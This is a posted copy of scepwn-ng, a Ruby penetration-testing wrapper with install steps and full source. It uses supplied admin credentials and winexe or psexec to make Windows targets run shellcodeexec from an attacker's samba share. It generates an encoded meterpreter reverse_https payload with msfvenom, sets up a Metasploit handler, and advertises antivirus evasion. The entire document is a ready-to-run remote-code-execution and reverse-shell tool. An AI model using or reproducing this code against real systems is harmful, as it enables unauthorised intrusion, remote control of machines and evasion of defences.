scepwn-ng is a wrapper script for launching winexe/psexec at a target, which then runs shellcode exec from a samba share with a msf generated reverse shell. As the executable never touches disk, it is highly effective at evading a/v.
Installation, Basic Setup for a kali box (skyfire) :
$ cd /opt $ git clone https://github.com/CoreSecurity/impacket.git $ cd impacket; python setup.py install $ cd /opt; git clone https://github.com/inquisb/shellcodeexec.git
If not using Kali, you will also need to install metasploit and winexe, as well as manually setup the samba share:
Add a share to your samba conf – usually located at /etc/samba/smb.con
[sce_share] browseable = no path = /var/sce_share guest ok = yes read only = no create mask = 0600 directory mask = 0700
Usage:
scepwn-ng.rb Script:
#!/usr/bin/env ruby # # scepwn-ng is a wrapper script for launching winexe/psexec at a target, which then runs # shellcode exec from a samba share with a msf generated reverse shell. As the executable # never touches disk, it is highly effective at evading a/v. # # Local admin is required for winexe/psexec to start their respective service, and should be # considered a prerequisite for using this tool. require 'optparse' require 'fileutils' VERSION='3.0.2' ## ~~~~~~~ CONFIG - WHERE ARE YOUR TOOLS ~~~~~~ ## WINEXE = "/usr/bin/winexe" #Kali Default PSEXEC = "/usr/local/bin/psexec.py" #Default location for impackets installer SCE = "/opt/shellcodeexec/windows/shellcodeexec.x32.exe" #If you followed the setup above, this is good. Otherwise, set to the location of shellcodeexec ## ~~~~~~~ CONFIG - IF YOU HAVE ALREADY CONFIGURED SAMBA ~ UPDATE THE SMB_SHARE VARIABLES TO MATCH YOUR SETUP ~~~~~~ ## SMB_SHARE_NAME = "sce_share" # As configured in /etc/samba/smb.conf SMB_SHARE_LOC = "/var/sce_share" # Must be readable SCE_NAME = SCE.split('/').last # Grabs ShellCodeExec filename from path listed in SCE. Filename must match what is in samba share DEF_RC_FILE = "/root/.msf4/scepwn.rc" # A location where we can write a metasploit resource file class String #Define colors without requiring additional gems def black; "\033[30m#{self}\033[0m" end def red; "\033[31m#{self}\033[0m" end def green; "\033[32m#{self}\033[0m" end def brown; "\033[33m#{self}\033[0m" end def blue; "\033[34m#{self}\033[0m" end def magenta; "\033[35m#{self}\033[0m" end def cyan; "\033[36m#{self}\033[0m" end def gray; "\033[37m#{self}\033[0m" end def bg_black; "\033[40m#{self}\033[0m" end def bg_red; "\033[41m#{self}\033[0m" end def bg_green; "\033[42m#{self}\033[0m" end def bg_brown; "\033[43m#{self}\033[0m" end def bg_blue; "\033[44m#{self}\033[0m" end def bg_magenta; "\033[45m#{self}\033[0m" end def bg_cyan; "\033[46m#{self}\033[0m" end def bg_gray; "\033[47m#{self}\033[0m" end def bold; "\033[1m#{self}\033[22m" end def reverse_color; "\033[7m#{self}\033[27m" end end options = {:port => "443", :service => "winexe"} #Set default values parser = OptionParser.new do |opts| opts.banner = "scepwn-ng v#{VERSION} - By Joshua Skorich (@TheJoSko) \nUsage: scepwn-ng.rb [options]" opts.on( '-t', '--target TARGET', "Target IP address" ) do |target| options[:target] = target; end opts.on( '-u', '--user CREDENTIALS', "Credentials in DOMAIN/USERNAME%PASSWORD format" ) do |user| options[:user] = user; end opts.on( '-p', '--port PORT', "Reverse shell port number (default: #{options[:port]})" ) do |port| options[:port] = port; end opts.on( '-s', '--service SERVICE', "winexe or psexec (default: #{options[:service]})" ) do |service| options[:service] = service; end opts.on( '-h', '--help', "Display this screen" ) do puts opts exit end opts.on( '-d', '--disable-check', "Disable the samba check (use this if you are using a distro other than Kali)" ) do |disable| options[:disable] = "Disable" end end parser.parse! # Create global variables for input options, and allows them to be changed through execution $target = options[:target] $user = options[:user] $port = options[:port] $service = options[:service] $disable = options[:disable] # Create the creds_array to hold all inputed credentials $creds_array = Array.new $creds_array.push "Enter credentials in DOMAIN\\username%password format: " if $user $creds_array.push $user end # Create the targets_array to hold all the inputed targets $targets_array = Array.new $targets_array.push "Enter target IP address: " if $target $targets_array.push $target end # Create the services_array $services_array = Array.new $services_array.push "winexe" $services_array.push "psexec" # Create the ports_array $ports_array = Array.new $ports_array.push "Enter the reverse shell port: " $ports_array.push $port #OS Check and auto detection of IP address if RUBY_PLATFORM =~ /linux/ DEF_INT = `route -n | grep 'UG ' | grep -v tun0 | awk '{print $8}'` DEF_INT_IP = `ifconfig $DEF_INT | grep 'inet ' | awk '{print $2}' | cut -d':' -f 2 | cut -d'\n' -f 1`.tr("\n","") #Need to add check for alternate package names on various OSes os = `cat /etc/lsb-release` if os =~ /Kali/ if os =~ /1/ $smbd_service = "samba" $nmbd_service = "samba" elsif os =~ /2/ $smbd_service = "smbd" $nmbd_service = "nmbd" end else puts "scepwn was only designed to test services on Kali... I know, I know." puts "setup the samba service manually and use the -d flag" exit 1 end else puts "[x]".red + "\t FATAL ERROR: scepwn-ng is currently only designed for linux" exit end # Read credentials if none supplied at runtime, or for "pwn another host" def read_creds if $creds_array[1].nil? print "Enter credentials in DOMAIN\\username%password format: " $creds_array.push gets.chomp $user = $creds_array[$creds_array.length - 1] else puts "[?]".blue + "Select credentials: " $creds_array.each_with_index do |value, index| puts "#{index} : #{value}" end print "[?]".blue + "Which credentials should we use (default: 0)? " creds = gets.to_i if creds == 0 or creds.nil? print "Enter credentials in DOMAIN\\username%password format: " $creds_array.push gets.chomp $user = $creds_array[$creds_array.length - 1] else $user = $creds_array[creds] end end end # Read target if none supplied at runtime, or for "pwn another host" def read_targets if $targets_array[1].nil? print "Enter target IP address: " $targets_array.push gets.chomp $target = $targets_array[$targets_array.length - 1] else puts "[?]".blue + "Select target: " $targets_array.each_with_index do |value, index| puts "#{index} : #{value}" end print "[?]".blue + "Which target should we use (default: 0)? " target = gets.to_i if target == 0 or target.nil? print "Enter target IP address: " $targets_array.push gets.chomp $target = $targets_array[$targets_array.length - 1] else $target = $targets_array[target] end end end # Read service def read_service puts "[?]".blue + "Select service: " $services_array.each_with_index do |value, index| puts "#{index} : #{value}" end print "[?]".blue + "Which service should we use (default: 0)? " $service = $services_array[gets.to_i] end # Read port def read_port puts "[?]".blue + "Select port: " $ports_array.each_with_index do |value, index| puts "#{index} : #{value}" end print "[?]".blue + "Which port should we use (default: 0)? " port = gets.to_i if $ports_array[port] == $port return end if port == 0 or port.nil? print "Enter port: " $ports_array.push gets.chomp $port = $ports_array[$ports_array.length - 1] else $port = $ports_array[port] end generate_opcode generate_rc puts "[!]\t Be sure to reload msf for the port change: ".red + "msf> resource #{DEF_RC_FILE}".blue end # Check to see if Samba is running. If not, attempt to start. def samba_status(sce_share=nil) smbd_status = `service #{$smbd_service} status` nmbd_status = `service #{$nmbd_service} status` if sce_share.nil? puts "[+]\tChecking to see if Samba is running" if smbd_status !~ /smbd\ is\ running|active\ \(running\)/ puts "[x]".red + "\tThe Samba smbd service is not running" puts "[*]".green + "\tStarting the samba smbd service" smbd_start = `service #{$smbd_service} start` end if nmbd_status !~ /nmbd\ is\ running|active\ \(running\)/ puts "[x]".red + "\tThe Samba nmbd service is not running" puts "[*]".green + "\tStarting the samba nmbd service" nmbd_start = `service #{$nmbd_service} start` end #need to figure this shit out. How to reload values. Perhaps a seperate function to call. smbd_status = `service #{$smbd_service} status` nmbd_status = `service #{$nmbd_service} status` if smbd_status !~ /smbd\ is\ running|active\ \(running\)/ or nmbd_status !~ /nmbd\ is\ running|active\ \(running\)/ puts "[x]".red + "\tFATAL ERROR: The Samba service could not be started" exit else puts "[*]".green + "\tSamba is running" end else smbd_restart = `service #{$smbd_service} restart` if $nmbd_service != $smbd_service nmbd_restart = `service #{$nmbd_service} restart` end smbd_status = `service #{$smbd_service} status` nmbd_status = `service #{$nmbd_service} status` if smbd_status !~ /smbd\ is\ running|active\ \(running\)/ or nmbd_status !~ /nmbd\ is\ running|active\ \(running\)/ puts "[x]".red + "\tFATAL ERROR: The Samba service could not be started" exit else puts "[*]".green + "\tSamba restarted " end end end # Enumerate all defined shares in /etc/samba/smb.conf and check to see if SCE_NAME is accessible def samba_check(sce_share=nil) if sce_share.nil? puts "[+]\tChecking all shares defined in /etc/samba/smb.conf for #{SCE_NAME}" shares = File.readlines('/etc/samba/smb.conf').select { |share| share[/^\[.*\]/m] } else shares = Array[sce_share] end shares.each { |share| share = share.delete "[]\n" puts "[+]\tChecking #{share} share" def_smb_check = `smbclient -N -g --command=dir //localhost/#{share}/ 2>&1 | grep #{SCE_NAME}` if def_smb_check.empty? puts "[x]".red + "\tCan't find #{SCE_NAME} on //localhost/#{share}" $sce_share = nil else puts "[*]".green + "\t//localhost/#{share} is hot and serving #{SCE_NAME}, good to go" $sce_share = share return end } if $disable.nil? if $sce_share.nil? print "[?]".blue + "\tWould you like to setup the samba share automagically?: (y/N) " reply = gets.chomp if reply =~ /[Yy]/ samba_setup else puts "[x]".red + "\tFATAL ERROR: #{SCE_NAME} was not found accessible on any samba share. Setup samba manually and start over..." exit end end else puts "[x]".red + "\tFATAL ERROR: #{SCE_NAME} was not found accessible on any samba share. Setup samba manually and start over..." exit end end # Create a new share in the smb.conf as declared in SMB_SHARE_NAME, and copy files to the location setup in SMB_SHARE_LOC def samba_setup if File.open('/etc/samba/smb.conf').read() !~ /^\[#{SMB_SHARE_NAME}\]/ puts "[*]".green + "\tCreating #{SMB_SHARE_NAME} in samba config" open('/etc/samba/smb.conf', 'a') { |f| f.puts "[#{SMB_SHARE_NAME}]" f.puts "\tbrowseable = no" f.puts "\tpath = #{SMB_SHARE_LOC}" f.puts "\tguest ok = yes" f.puts "\tread only = no" f.puts "\tcreate mask = 0600" f.puts "\tdirectory mask = 0700" } else puts "[*]".green + "\t#{SMB_SHARE_NAME} share already defined in samba config ..." end if File.directory? SMB_SHARE_LOC puts "[+]\tCopying #{SCE_NAME} to #{SMB_SHARE_LOC}" FileUtils.cp SCE, SMB_SHARE_LOC else puts "[+]\tCreating #{SMB_SHARE_LOC} directory" Dir.mkdir(SMB_SHARE_LOC, 0755) puts "[+]\tCopying #{SCE_NAME} to #{SMB_SHARE_LOC}" FileUtils.cp SCE, SMB_SHARE_LOC end samba_status(SMB_SHARE_NAME) samba_check(SMB_SHARE_NAME) end # Generates the alphanumeric msf payload def generate_opcode puts "[*]".green + "\tGenerating reverse_https opcode for sce using " + DEF_INT_IP.green + " as LHOST and port " + $port.green $def_opcode = `msfvenom -p windows/meterpreter/reverse_https EXITFUNC=thread LPORT=#{$port} LHOST=#{DEF_INT_IP} -f raw -a x86 -e x86/alpha_mixed --platform windows BufferRegister=EAX` p $def_opcode end # Generates the msf resource file def generate_rc puts "[*]".green + "\tCreating msf resource file" open(DEF_RC_FILE, 'w') { |f| f.puts "use exploit/multi/handler" f.puts "set PAYLOAD windows/meterpreter/reverse_https" f.puts "set EXITFUNC thread" f.puts "set LPORT #{$port}" f.puts "set LHOST #{DEF_INT_IP}" f.puts "set ExitOnSession false" f.puts "exploit -j -z" } end # Pwnage and repeat/exit def pwn puts "\n########################################################################################" puts "##### In a separate screen, launch: " + "msfconsole -r #{DEF_RC_FILE}".green + " #####" puts "##### #####" puts "##### If msf chokes on itself, reload the resource file: #####" puts "##### msf> " + "resource #{DEF_RC_FILE}".blue + " #####" puts "########################################################################################" puts "\tMake sure you have multi handler up to catch shells (see above)." print "Press " + "[Enter]" + " key to start pwning..." go = gets puts "[*]".green + "#{$service}'ing to:" puts " target: #{$target}" puts " credentials: #{$user}" puts " port: #{$port}" pid = fork do if $service == "winexe" exec "#{WINEXE} --system --uninstall -U '#{$user}' //#{$target} 'cmd /c \\\\#{DEF_INT_IP}\\#{$sce_share}\\#{SCE_NAME} #{$def_opcode}'" elsif $service == "psexec" $psexec_creds = $user.split("%") exec "#{PSEXEC} '#{$psexec_creds.first}':#{$psexec_creds.last}@#{$target} cmd 'cmd /c \\\\#{DEF_INT_IP}\\#{$sce_share}\\#{SCE_NAME} #{$def_opcode}'" end end Process.detach pid sleep(2) puts print "[?]".green + "Pwn again (y/N):" reply = gets.chomp if reply =~ /[Yy]/ read_creds read_targets read_service read_port else puts "[x]".red + "\tExiting..." exit end pwn end # Required values if options[:user].nil? read_creds end if options[:target].nil? read_targets end # Main operation if $disable.nil? samba_status else puts "[+]\tSamba service check disabled - ensure samba is running" end samba_check generate_opcode generate_rc pwn
Source : https://github.com/joshuaskorich